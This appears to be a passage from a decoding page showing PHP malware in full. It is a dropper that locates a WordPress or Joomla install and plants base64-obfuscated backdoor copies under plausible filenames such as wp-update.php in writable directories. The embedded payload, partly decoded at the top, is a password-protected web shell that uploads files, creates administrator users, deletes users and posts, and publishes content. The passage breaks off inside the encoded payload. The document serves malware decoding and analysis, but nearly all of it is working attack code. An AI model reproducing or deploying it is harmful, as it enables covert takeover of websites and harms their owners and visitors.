X25hbWUgPSBiYXNlbmFtZSgkX0ZJTEVTWydteV9maWxlJ11bJ25hbWUnXSk7DQoJaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ215X2ZpbGUnXVsndG1wX25hbWUnXSwgJGJhc2VfbmFtZSkpIHsNCgkJcHJpbnQgJzxhIGhyZWY9IicuJGJhc2VfbmFtZS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kYmFzZV9uYW1lLic8L2E+JzsNCgl9DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9hcGlfdmVyc2lvbiddKSkgew0KCXByaW50IGFycmF5X3RvX2pzb24oYXJyYXkoJ2FwaV92ZXJzaW9uJyA9PiBudW1iZXJfZm9ybWF0KEFQSV9WRVJTSU9OLCAyKSkpOw0KfQ0KPz4='; 
 
 
 
$wp_enc_file = '<?php eval("?>" . base64_decode("'.$wp_code.'")); ?>'; 
 
$wp_dec_file = base64_decode($wp_code); 
 
 
 
$jm_enc_file = '<?php eval("?>" . base64_decode("'.$jm_code.'")); ?>'; 
 
$jm_dec_file = base64_decode($jm_code); 
 
 
 
$orig_dir = getcwd(); 
 
 
 
$counter = 0; 
 
do{ 
 
        foreach(glob("*") as $file) { 
 
                if(strpos($file, "wp-config.php") !== false) { 
 
                        define('PLATFORM', 'WORDPRESS'); 
 
                } 
 
                if(strpos($file, "configuration.php") !== false) { 
 
                        define('PLATFORM', 'JOOMLA'); 
 
                } 
 
        } 
 
        if(!defined('PLATFORM')) { 
 
                chdir('..'); 
 
                $counter++; 
 
        } 
 
        else { 
 
                $site_root_dir = getcwd(); 
 
        } 
 
}while(!defined('PLATFORM') && $counter < MAX_LEVELS_UP); 
 
 
 
if(!defined('PLATFORM')) { 
 
        exit("Unknown platform!"); 
 
} 
 
 
 
$all_dirs = array(); 
 
 
 
get_all_dirs(getcwd()); 
 
 
 
if(count($all_dirs) >= 10) { 
 
        $num_of_rand_dirs = 10; 
 
} 
 
else { 
 
        $num_of_rand_dirs = count($all_dirs); 
 
} 
 
 
 
$all_dirs = array_filter($all_dirs, "filter_dirs"); 
 
$chosen_dirs_indexes = array_rand($all_dirs, $num_of_rand_dirs); 
 
 
 
print "PLATFORM : " . PLATFORM . "<br>
"; 
 
 
 
if(PLATFORM == 'WORDPRESS') { 
 
        $contents = array($wp_enc_file, $wp_dec_file); 
 
} 
 
 
 
if(PLATFORM == 'JOOMLA') { 
 
        $contents = array($jm_enc_file, $jm_dec_file); 
 
} 
 
 
 
$web_dirname = dirname($_SERVER['REQUEST_URI']); 
 
$site_root_dir_splitted = explode("/", $site_root_dir); 
 
$web_dir_splitted = explode("/", $web_dirname); 
 
 
 
if($site_root_dir_splitted[count($site_root_dir_splitted)-1] == $web_dir_splitted[1]) { 
 
        $site_dir = $web_dir_splitted[1]; 
 
} 
 
 
 
$content_type = 0; 
 
$periods_count = 0; 
 
foreach($chosen_dirs_indexes as $chosen_dir_index) { 
 
        $file_name = get_file_name($all_dirs[$chosen_dir_index] . '/'); 
 
        if($periods_count < 2) { 
 
                $periods_count++; 
 
                $file_name .= '.'; 
 
        } 
 
        file_put_contents($file_name, $contents[$content_type]); 
 
        $file_rel_path = substr($file_name, strlen($site_root_dir)); 
 
        if(!isset($site_dir)) { 
 
                $site_dir = ''; 
 
        } 
 
        $file_full_path = $site_dir . $file_rel_path; 
 
        if($content_type == 0) { 
 
                $content_type = 1; 
 
        } 
 
        else { 
 
                $content_type = 0; 
 
        } 
 
        print preg_replace("/^\//", "", $file_full_path) . "<br>
"; 
 
        flush(); 
 
} 
 
//print PLATFORM; 
 
//print_r($all_dirs); 
 
?>

Did this file decode correctly?

Original Code

<?php

function filter_dirs($dir) {

        if(PLATFORM != "WORDPRESS") {

                return true;

        }



        return preg_match("/\/wp\-(admin|content|includes)/", $dir);

}



function get_all_dirs($dir) {

        global $all_dirs;



        foreach(glob("$dir/*") as $file) {

                if(is_dir($file)) {

                        if(is_writable($file)) {

                                $all_dirs[] = $file;

                        }

                        get_all_dirs($file);

                }

        }

}



function get_file_name($path) {

        $jm_file_names = array(

                'cache.php',

                'configure.php',

                'settings.php',

                'config.php',

                'admin.php',

                'admin-class.php',

                'menus.php',

                'components.php',

                'languages.php',

                'class-library.php',

                'include.php',

                'common.php'

        );



        $wp_file_names = array(

                'wp-update.php',

                'wp-block.php',

                'wp-blog.php',

                'wp-content.php',

                'wp-ping.php',

                'wp-widgets.php',

                'wp-search.php',

                'wp-find.php',

                'wp-post-update.php',

                'wp-page-update.php',

                'wp-theme.php',

                'wp-template.php',

                'wp-query.php',

                'wp-admin-block.php',

                'wp-category.php',

                'wp-rewrite.php',

                'wp-taxonomy.php',

                'wp-xml-function.php',

                'wp-rss.php',

                'rss-feed.php',

                'wp-plugins.php',

                'wp-register.php',

                'admin-menu.php'

        );



        if(PLATFORM == 'WORDPRESS') {

                $file_names = $wp_file_names;

        }

        else {

                $file_names = $jm_file_names;

        }



        do {

                $full_path = $path . $file_names[array_rand($file_names)];

        }while(file_exists($full_path));



        return $full_path;

}



@set_time_limit(300);



define("MAX_LEVELS_UP", 7);



$wp_code = 'PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOw0KDQpAc2V0X3RpbWVfbGltaXQoNjApOw0KDQpkZWZpbmUoJ0FQSV9WRVJTSU9OJywgMi4wKTsNCmRlZmluZSgnUEFTU1dPUkRfRklMRScsICdwLnR4dCcpOw0KDQppZihmaWxlX2V4aXN0cyhQQVNTV09SRF9GSUxFKSkgew0KCUB1bmxpbmsoUEFTU1dPUkRfRklMRSk7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gYXJyYXlfdG9fanNvbiggJGFycmF5ICkNCnsNCiAgICBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHJldHVybiAnIicucmF3dXJsZW5jb2RlKCRhcnJheSkuJyInOw0KICAgIGlmIChpc19udW1lcmljKCRhcnJheSkpIHJldHVybiAkYXJyYXk7DQogICAgaWYgKCRhcnJheSA9PT0gbnVsbCkgcmV0dXJuICdudWxsJzsNCiAgICBpZiAoJGFycmF5ID09PSB0cnVlKSByZXR1cm4gJ3RydWUnOw0KICAgIGlmICgkYXJyYXkgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsNCg0KICAgICRhc3NvYyA9IGZhbHNlOw0KICAgICRpID0gMDsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGs9PiR2KXsNCiAgICAgICAgaWYgKCRrICE9PSAkaSsrKXsNCiAgICAgICAgICAgICRhc3NvYyA9IHRydWU7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAkcmVzID0gYXJyYXkoKTsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGs9PiR2KXsNCiAgICAgICAgJHYgPSBhcnJheV90b19qc29uKCR2KTsNCiAgICAgICAgaWYgKCRhc3NvYyl7DQogICAgICAgICAgICAkayA9ICciJy5yYXd1cmxlbmNvZGUoJGspLiciJzsNCiAgICAgICAgICAgICR2ID0gJGsuJzonLiR2Ow0KICAgICAgICB9DQogICAgICAgICRyZXNbXSA9ICR2Ow0KICAgIH0NCiAgICAkcmVzID0gaW1wbG9kZSgnLCcsICRyZXMpOw0KICAgIHJldHVybiAoJGFzc29jKT8gJ3snLiRyZXMuJ30nIDogJ1snLiRyZXMuJ10nOw0KfQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmRlZmluZSgnU0hFTExfUEFTU1dPUkQnLCAnYTZhOGNiODc3ZWUxODIxNWYyYzBmYzJhNmM3YjRmMmEnKTsNCmRlZmluZSgnTUFYX1VQX0xFVkVMUycsIDEwKTsNCg0KaWYoKGVtcHR5KCRfQ09PS0lFWydwYXNzd29yZCddKSAmJiBlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pKSB8fCAoIWVtcHR5KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgbWQ1KCRfUE9TVFsncGFzc3dvcmQnXSkgIT0gU0hFTExfUEFTU1dPUkQpKSB7DQoJcHJpbnQgJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLiRfU0VSVkVSWydQSFBfU0VMRiddLic/Jy4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10uJyI+UGFzc3dvcmQgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzc3dvcmQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiPjwvZm9ybT4nOw0KCWV4aXQ7DQp9DQoNCmlmKCFlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICYmIG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pID09IFNIRUxMX1BBU1NXT1JEKSB7DQoJc2V0Y29va2llKCdwYXNzd29yZCcsIFNIRUxMX1BBU1NXT1JELCB0aW1lKCkrNjAqNjAqMjQpOw0KCWhlYWRlcigiTG9jYXRpb246IHskX1NFUlZFUlsnUEhQX1NFTEYnXX0/eyRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXX0iKTsNCglleGl0Ow0KfQ0KDQppZihlbXB0eSgkX0NPT0tJRVsncGFzc3dvcmQnXSkgfHwgJF9DT09LSUVbJ3Bhc3N3b3JkJ10gIT0gU0hFTExfUEFTU1dPUkQpIHsNCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9GSUxFU1snZiddKSkgew0KCSRuZXdfcGF0aCA9IGRpcm5hbWUoX19GSUxFX18pIC4gJy8nIC4gJF9GSUxFU1snZiddWyduYW1lJ107DQoJaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJG5ld19wYXRoKSkgew0KCQlwcmludCAiPGEgaHJlZj1cInskX0ZJTEVTWydmJ11bJ25hbWUnXX1cIj57JF9GSUxFU1snZiddWyduYW1lJ119PC9hPiI7DQoJfQ0KCWVsc2Ugew0KCQlwcmludCAiVXBsb2FkIGZhaWxlZCEiOw0KCX0NCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1ZiddKSAmJiAkX1JFUVVFU1RbJ3VmJ10gPT0gMSkgew0KCXByaW50ICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBhY3Rpb249XCJ7JF9TRVJWRVJbJ1BIUF9TRUxGJ119XCI+PGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cImZcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiPjwvZm9ybT4iOw0KCWV4aXQ7DQp9DQoNCiRjb3VudGVyID0gMDsNCiRkaXJfdXAgPSAnLi8nOw0KZG8gew0KCSRmaWxlX2ZvdW5kID0gZmFsc2U7DQoJJGZpbGVfcGF0aCA9ICJ7JGRpcl91cH13cC1sb2FkLnBocCI7DQoJaWYoZmlsZV9leGlzdHMoJGZpbGVfcGF0aCkpIHsNCgkJcmVxdWlyZSgkZmlsZV9wYXRoKTsNCgkJJGZpbGVfZm91bmQgPSB0cnVlOw0KCX0NCgllbHNlIHsNCgkJJGRpcl91cCAuPSAnLi4vJzsNCgl9DQoJJGNvdW50ZXIrKzsNCn13aGlsZSghJGZpbGVfZm91bmQgJiYgJGNvdW50ZXIgPCBNQVhfVVBfTEVWRUxTKTsNCg0KaWYoIWVtcHR5KCRfR0VUWydnZXRfdXNlcnMnXSkpIHsNCglwcmludCBhcnJheV90b19qc29uKGdldF91c2VycygpKTsNCn0NCi8vcHJpbnRfcigkX1JFUVVFU1QpOw0KaWYoaXNzZXQoJF9SRVFVRVNUWydhY3Rpb24nXSkgJiYgJF9SRVFVRVNUWydhY3Rpb24nXSA9PSAnY3JlYXRlX3VzZXInKSB7DQppZihlbXB0eSgkX1JFUVVFU1RbJ3dwX3VzZXJuYW1lJ10pIHx8IGVtcHR5KCRfUkVRVUVTVFsnd3BfcGFzc3dvcmQnXSkgfHwgZW1wdHkoJF9SRVFVRVNUWyd3cF9lbWFpbCddKSl7DQpwcmludCAiTWlzc2luZyBwYXJhbWV0ZXIgZm9yIGNyZWF0aW5nIHVzZXIhIjsNCmV4aXQ7DQp9DQplbHNlIHsNCiR1c2VyZGF0YSA9IGFycmF5KCd1c2VyX2xvZ2luJyA9PiAkX1JFUVVFU1RbJ3dwX3VzZXJuYW1lJ10sICd1c2VyX3Bhc3MnID0+ICRfUkVRVUVTVFsnd3BfcGFzc3dvcmQnXSwgJ3VzZXJfZW1haWwnID0+ICRfUkVRVUVTVFsnd3BfZW1haWwnXSwgJ3JvbGUnID0+ICdhZG1pbmlzdHJhdG9yJyk7DQovL3ByaW50X3IoJF9SRVFVRVNUKTsNCiR1c2VyX2lkID0gd3BfaW5zZXJ0X3VzZXIoICR1c2VyZGF0YSApOw0KCWlmKGlzX251bWVyaWMoJHVzZXJfaWQpKSB7DQoJCXByaW50IGFycmF5X3RvX2pzb24oYXJyYXkoJ3VzZXJfaWQnID0+ICR1c2VyX2lkKSk7DQoJfQ0KCWVsc2Ugew0KCQkJcHJpbnQgYXJyYXlfdG9fanNvbigiRmFpbGVkIGNyZWF0aW5nIHVzZXIhIik7DQoJCX0NCgl9DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2RlbGV0ZV91c2VyJ10pICYmICFlbXB0eSgkX1JFUVVFU1RbJ3dwX3VzZXJfaWQnXSkpIHsNCglpZih3cF9kZWxldGVfdXNlcigkX1JFUVVFU1RbJ3dwX3VzZXJfaWQnXSkpIHsNCgkJcHJpbnQgYXJyYXlfdG9fanNvbigiVXNlciBkZWxldGVkISIpOw0KCX0NCgllbHNlIHsNCgkJcHJpbnQgYXJyYXlfdG9fanNvbigiRmFpbGVkIGRlbGV0aW5nIHVzZXIhIik7DQoJfQ0KfQ0KDQppZigkX1JFUVVFU1RbJ2RlbGV0ZV9wb3N0J10gPT0gMSAmJiAhZW1wdHkoJF9SRVFVRVNUWydJRCddKSkgew0KCSRkZWxfb3BfcmVzID0gd3BfZGVsZXRlX3Bvc3QoICRfUkVRVUVTVFsnSUQnXSwgdHJ1ZSApOw0KCWlmKCEkZGVsX29wX3JlcykgcHJpbnQgYXJyYXlfdG9fanNvbigiRGVsZXRlIGZhaWxlZCEiKTsNCgllbHNlIHByaW50IGFycmF5X3RvX2pzb24oIlBvc3QgZGVsZXRlZCEiKTsNCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd0aXRsZSddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydwb3N0J10pKSB7DQoJJHBvc3RfZGF0ZSA9ICRfUkVRVUVTVFsnZGF0ZXBpY2tlciddIC4gIiAiIC4gcmFuZCgwLDIzKSAuICI6IiAuIHJhbmQoMCw1OSkgLiAiOiIgLiByYW5kKDAsNTkpOw0KDQoJLy8gQ3JlYXRlIHBvc3Qgb2JqZWN0DQoJJG15X3Bvc3QgPSBhcnJheSgNCgkgICdwb3N0X3RpdGxlJyAgICA9PiAkX1JFUVVFU1RbJ3RpdGxlJ10sDQoJICAncG9zdF9jb250ZW50JyAgPT4gJF9SRVFVRVNUWydwb3N0J10sDQoJICAncG9zdF9zdGF0dXMnICAgPT4gJ3B1Ymxpc2gnLA0KCSAgJ3Bvc3RfYXV0aG9yJyAgID0+IDEsDQoJICAncG9zdF90eXBlJyA9PiAkX1JFUVVFU1RbJ3Bvc3RfdHlwZSddLA0KCSAgJ3Bvc3RfZGF0ZScgICAgID0+ICRwb3N0X2RhdGUNCgkpOw0KCSRpZCA9IE5VTEw7DQoJaWYoZW1wdHkoJF9SRVFVRVNUWydJRCddKSkgew0KCQkvLyBJbnNlcnQgdGhlIHBvc3QgaW50byB0aGUgZGF0YWJhc2UNCgkJJGlkID0gd3BfaW5zZXJ0X3Bvc3QoJG15X3Bvc3QpOw0KCX0NCgllbHNlIHsNCgkJJG15X3Bvc3RbJ0lEJ10gPSAkX1JFUVVFU1RbJ0lEJ107DQoJCSRpZCA9IHdwX3VwZGF0ZV9wb3N0KCRteV9wb3N0KTsNCgl9DQoJJHBlcm1hbGluayA9IGdldF9wZXJtYWxpbmsoICRpZCApOw0KCXdwX3NldF9wb3N0X2NhdGVnb3JpZXMoJGlkLCBhcnJheSgkX1JFUVVFU1RbJ2NhdCddKSk7DQoJaWYoJF9SRVFVRVNUWydkZWxldGVfcG9zdCddICE9IDEpIHsNCgkJaWYoIWVtcHR5KCRpZCkpIHsNCgkJCSRwb3N0ID0gZ2V0X3Bvc3QoJGlkKTsNCgkJCXByaW50IGFycmF5X3RvX2pzb24oYXJyYXkoInBlcm1hbGluayI9PiRwZXJtYWxpbmssImxpbmtfYnlfaWQiPT4kcG9zdC0+Z3VpZCwiSUQiPT4kaWQpKTsNCgkJfQ0KCQllbHNlIHsNCgkJCXByaW50IGFycmF5X3RvX2pzb24oIkFjdGlvbiBmYWlsZWQhIik7DQoJCX0NCgl9DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3BsdWdpbjJ1cGRhdGUnXSkpIHsNCglpbmNsdWRlX29uY2UoICRkaXJfdXAgLiAnd3AtYWRtaW4vaW5jbHVkZXMvY2xhc3MtZnRwLnBocCcpOw0KCWluY2x1ZGVfb25jZSggJGRpcl91cCAuICd3cC1hZG1pbi9pbmNsdWRlcy91cGRhdGUucGhwJyk7DQoJaW5jbHVkZV9vbmNlKCAkZGlyX3VwIC4gJ3dwLWFkbWluL2luY2x1ZGVzL2ZpbGUucGhwJyk7DQoJaW5jbHVkZV9vbmNlKCAkZGlyX3VwIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3NjcmVlbi5waHAnKTsNCglpbmNsdWRlX29uY2UoICRkaXJfdXAgLiAnd3AtYWRtaW4vaW5jbHVkZXMvbWlzYy5waHAnKTsNCglpbmNsdWRlX29uY2UoICRkaXJfdXAgLiAnd3AtYWRtaW4vaW5jbHVkZXMvcGx1Z2luLnBocCcpOw0KCQ0KCWZvcmVhY2goJF9SRVFVRVNUWydwbHVnaW4ydXBkYXRlJ10gYXMgJHBsdWdpbikgew0KCQlwcmludCAiJHBsdWdpbiB1cGRhdGUgOiAiOw0KCQl3cF91cGRhdGVfcGx1Z2luKCRwbHVnaW4pOw0KCX0NCgkNCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydmaWxlMmNsZWFuJ10pKSB7DQokdGVsbF9hX2ZyaWVuZF9jb250ZW50ID0gJzw/cGhwDQovKg0KUGx1Z2luIE5hbWU6IFRlbGwgYSBGcmllbmQNClZlcnNpb246IDAuMQ0KUGx1Z2luIFVSSTogaHR0cDovL3d3dy5mcmVldGVsbGFmcmllbmQuY29tL2dldF9idXR0b24vDQpEZXNjcmlwdGlvbjogQWRkcyBhIFwnU2hhcmUgVGhpcyBQb3N0XCcgYnV0dG9uIGFmdGVyIGVhY2ggcG9zdC4gVGhlIHNlcnZpY2Ugd2hpY2ggaXMgdXNlZCBpcyBmcmVldGVsbGFmcmllbmQuY29tIHdoaWNoIHN1cHBvcnRzIGUtbWFpbCBhZGRyZXNzIGJvb2ssIHNvY2lhbCBib29rbWFya3MgYW5kIGZhdm9yaXRlcy4NCkF1dGhvcjogRnJlZVRlbGxhRnJpZW5kDQpBdXRob3IgVVJJOiBodHRwOi8vd3d3LmZyZWV0ZWxsYWZyaWVuZC5jb20vDQoqLw0KDQpmdW5jdGlvbiB0ZWxsX2FfZnJpZW5kKCRjb250ZW50KSB7DQpnbG9iYWwgJHBvc3Q7DQokdGFmX3Blcm1saW5rID0gdXJsZW5jb2RlKGdldF9wZXJtYWxpbmsoJHBvc3QtPklEKSk7DQokdGFmX3RpdGxlID0gdXJsZW5jb2RlKGdldF90aGVfdGl0bGUoJHBvc3QtPklEKSApOw0KJHRhZl9pbWcgPSBnZXRfc2V0dGluZ3MoXCdob21lXCcpIC4gXCcvd3AtY29udGVudC9wbHVnaW5zL3RlbGwtYS1mcmllbmQvYnV0dG9uLmdpZlwnOw0KDQoJaWYgKCAhaXNfZmVlZCgpICYmICFpc19wYWdlKCkgKSB7DQoJJGNvbnRlbnQgLj0gXCc8YSBocmVmPSJodHRwczovL3d3dy5mcmVldGVsbGFmcmllbmQuY29tL3RlbGwvP3VybD1cJy4kdGFmX3Blcm1saW5rLlwnJnRpdGxlPVwnLiR0YWZfdGl0bGUuXCciIG9uY2xpY2s9IndpbmRvdy5vcGVuKFwnaHR0cHM6Ly93d3cuZnJlZXRlbGxhZnJpZW5kLmNvbS90ZWxsLz91cmw9XCcuJHRhZl9wZXJtbGluay5cJyZ0aXRsZT1cJy4kdGFmX3RpdGxlLlwnXCcsIFwnZnJlZXRlbGxhZnJpZW5kXCcsIFwnc2Nyb2xsYmFycz0xLG1lbnViYXI9MCx3aWR0aD02MTcsaGVpZ2h0PTUzMCxyZXNpemFibGU9MSx0b29sYmFyPTAsbG9jYXRpb249MCxzdGF0dXM9MCxzY3JlZW5YPTIxMCxzY3JlZW5ZPTEwMCxsZWZ0PTIxMCx0b3A9MTAwXCcpOyByZXR1cm4gZmFsc2U7IiB0YXJnZXQ9Il9ibGFuayIgdGl0bGU9IlNoYXJlIFRoaXMgUG9zdCI+PGltZyBzcmM9IlwnLiR0YWZfaW1nLlwnIiBzdHlsZT0id2lkdGg6MTI3cHg7aGVpZ2h0OjE2cHg7Ym9yZGVyOjBweDsiIGFsdD0iU2hhcmUgVGhpcyBQb3N0IiB0aXRsZT0iU2hhcmUgVGhpcyBQb3N0IiAvPjwvYT5cJzsJCQkJICANCgl9DQoNCnJldHVybiAkY29udGVudDsNCn0NCg0KYWRkX2ZpbHRlcihcJ3RoZV9jb250ZW50XCcsIFwndGVsbF9hX2ZyaWVuZFwnKTsNCg0KPz4nOw0KDQoJaWYoZmlsZV9leGlzdHMoJF9SRVFVRVNUWydmaWxlMmNsZWFuJ10pKSB7DQoJCWlmKHN0cnBvcygkX1JFUVVFU1RbJ2ZpbGUyY2xlYW4nXSwgJ3RlbGwtYS1mcmllbmQucGhwJykgIT09IGZhbHNlKSB7DQoJCQlpZihmaWxlX3B1dF9jb250ZW50cygkX1JFUVVFU1RbJ2ZpbGUyY2xlYW4nXSwgJHRlbGxfYV9mcmllbmRfY29udGVudCkpIHsNCgkJCQlwcmludCAiRmlsZSB7JF9SRVFVRVNUWydmaWxlMmNsZWFuJ119IGhhcyBiZWVuIGNsZWFuZWQuIjsNCgkJCX0NCgkJCWVsc2Ugew0KCQkJCXByaW50ICJGYWlsZWQgY2xlYW5pbmcgeyRfUkVRVUVTVFsnZmlsZTJjbGVhbiddfSAhIjsNCgkJCX0NCgkJfQ0KCX0NCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnZ2V0X3BsdWdpbnMnXSkgJiYgJF9SRVFVRVNUWydnZXRfcGx1Z2lucyddID09IDEpIHsNCglpbmNsdWRlX29uY2UoJGRpcl91cCAuICd3cC1hZG1pbi9pbmNsdWRlcy9wbHVnaW4ucGhwJyk7DQoJCQ0KCSRwbHVnaW5zID0gZ2V0X3BsdWdpbnMoKTsNCglwcmludCBhcnJheV90b19qc29uKCRwbHVnaW5zKTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsncG9zdF91cmwyc2VhcmNoJ10pKSB7DQoJJHRoZV9zbHVnID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJF9SRVFVRVNUWydwb3N0X3VybDJzZWFyY2gnXSk7DQoJJGFyZ3MgPSBhcnJheSgNCgkJJ25hbWUnID0+ICR0aGVfc2x1ZywNCgkJJ3Bvc3Rfc3RhdHVzJyA9PiAncHVibGlzaCcsDQoJCSdwb3N0c19wZXJfcGFnZScgPT4gMQ0KCSk7DQoJJG15X3Bvc3RzID0gZ2V0X3Bvc3RzKCAkYXJncyApOw0KDQoJaWYoIWVtcHR5KCRteV9wb3N0c1swXS0+SUQpICYmIGlzX251bWVyaWMoJG15X3Bvc3RzWzBdLT5JRCkpIHsNCgkJJHBvc3QgPSBnZXRfcG9zdCgkbXlfcG9zdHNbMF0tPklEKTsNCgkJJHBvc3QtPmNhdGVnb3J5ID0gZ2V0X3RoZV9jYXRlZ29yeSgkbXlfcG9zdHNbMF0tPklEKTsNCgl9DQoJDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkcG9zdCk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3Bvc3RfaWQnXSkpIHsNCgkkcG9zdCA9IGdldF9wb3N0KCRfUkVRVUVTVFsncG9zdF9pZCddKTsNCgkkcG9zdC0+Y2F0ZWdvcnkgPSBnZXRfdGhlX2NhdGVnb3J5KCRfUkVRVUVTVFsncG9zdF9pZCddKTsNCglwcmludCBhcnJheV90b19qc29uKCRwb3N0KTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsncGFnZV9pZCddKSkgew0KCSRwb3N0ID0gZ2V0X3BhZ2UoJF9SRVFVRVNUWydwYWdlX2lkJ10pOw0KCSRwb3N0LT5jYXRlZ29yeSA9IGdldF90aGVfY2F0ZWdvcnkoJF9SRVFVRVNUWydwYWdlX2lkJ10pOw0KCXByaW50IGFycmF5X3RvX2pzb24oJHBvc3QpOw0KfQ0KDQokYXJncyA9IGFycmF5KA0KCSdzaG93X29wdGlvbl9hbGwnICAgID0+ICcnLA0KCSdzaG93X29wdGlvbl9ub25lJyAgID0+ICcnLA0KCSdvcmRlcmJ5JyAgICAgICAgICAgID0+ICdJRCcsIA0KCSdvcmRlcicgICAgICAgICAgICAgID0+ICdBU0MnLA0KCSdzaG93X2NvdW50JyAgICAgICAgID0+IDEsDQoJJ2hpZGVfZW1wdHknICAgICAgICAgPT4gMCwgDQoJJ2NoaWxkX29mJyAgICAgICAgICAgPT4gMCwNCgknZXhjbHVkZScgICAgICAgICAgICA9PiAnJywNCgknZWNobycgICAgICAgICAgICAgICA9PiAxLA0KCSdzZWxlY3RlZCcgICAgICAgICAgID0+ICRzZWxfY2F0LA0KCSdoaWVyYXJjaGljYWwnICAgICAgID0+IDAsIA0KCSduYW1lJyAgICAgICAgICAgICAgID0+ICdjYXQnLA0KCSdpZCcgICAgICAgICAgICAgICAgID0+ICcnLA0KCSdjbGFzcycgICAgICAgICAgICAgID0+ICdwb3N0Zm9ybScsDQoJJ2RlcHRoJyAgICAgICAgICAgICAgPT4gMCwNCgkndGFiX2luZGV4JyAgICAgICAgICA9PiAwLA0KCSd0YXhvbm9teScgICAgICAgICAgID0+ICdjYXRlZ29yeScsDQoJJ2hpZGVfaWZfZW1wdHknICAgICAgPT4gZmFsc2UsDQogICAgJ3dhbGtlcicgICAgICAgICAgICAgPT4gJycNCik7DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9jYXRlZ29yaWVzJ10pICYmICRfUkVRVUVTVFsnZ2V0X2NhdGVnb3JpZXMnXSA9PSAxKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbihnZXRfY2F0ZWdvcmllcyggJGFyZ3MgKSk7IA0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfcGFnZXNfbGlzdCddKSAmJiAkX1JFUVVFU1RbJ2dldF9wYWdlc19saXN0J10gPT0gMSkgew0KCSRwYWdlc19hcnJheSA9IGdldF9wYWdlcygpOw0KCSRuZXdfcGFnZXNfYXJyYXkgPSBhcnJheSgpOw0KCWZvcigkaT0wLCRsZW49Y291bnQoJHBhZ2VzX2FycmF5KTskaTwkbGVuOyRpKyspIHsNCgkJJG5ld19wYWdlc19hcnJheVskaV1bJ0lEJ10gPSAkcGFnZXNfYXJyYXlbJGldLT5JRDsNCgkJJG5ld19wYWdlc19hcnJheVskaV1bJ3Bvc3RfdGl0bGUnXSA9ICRwYWdlc19hcnJheVskaV0tPnBvc3RfdGl0bGU7DQoJCSRuZXdfcGFnZXNfYXJyYXlbJGldWydwb3N0X25hbWUnXSA9ICRwYWdlc19hcnJheVskaV0tPnBvc3RfbmFtZTsNCgl9DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkbmV3X3BhZ2VzX2FycmF5KTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnZ2V0X3Bvc3RzX2xpc3QnXSkpIHsNCglpZihpc3NldCgkX1JFUVVFU1RbJ3NlYXJjaF9ieV9wb3N0X3R5cGUnXSkpIHsNCgkJJHBvc3RfdHlwZSA9ICRfUkVRVUVTVFsnc2VhcmNoX2J5X3Bvc3RfdHlwZSddOw0KCX0NCgllbHNlIHsNCgkJJHBvc3RfdHlwZSA9ICcnOw0KCX0NCg0KCSRhcmdzID0gYXJyYXkoDQoJJ3Bvc3RzX3Blcl9wYWdlJyAgID0+IDUwLA0KCSdvZmZzZXQnICAgICAgICAgICA9PiAwLA0KCSdjYXRlZ29yeScgICAgICAgICA9PiAnJywNCgknY2F0ZWdvcnlfbmFtZScgICAgPT4gJycsDQoJJ29yZGVyYnknICAgICAgICAgID0+ICdJRCcsDQoJJ29yZGVyJyAgICAgICAgICAgID0+ICdERVNDJywNCgknaW5jbHVkZScgICAgICAgICAgPT4gJycsDQoJJ2V4Y2x1ZGUnICAgICAgICAgID0+ICcnLA0KCSdtZXRhX2tleScgICAgICAgICA9PiAnJywNCgknbWV0YV92YWx1ZScgICAgICAgPT4gJycsDQoJJ3Bvc3RfdHlwZScgICAgICAgID0+ICRwb3N0X3R5cGUsDQoJJ3Bvc3RfbWltZV90eXBlJyAgID0+ICcnLA0KCSdwb3N0X3BhcmVudCcgICAgICA9P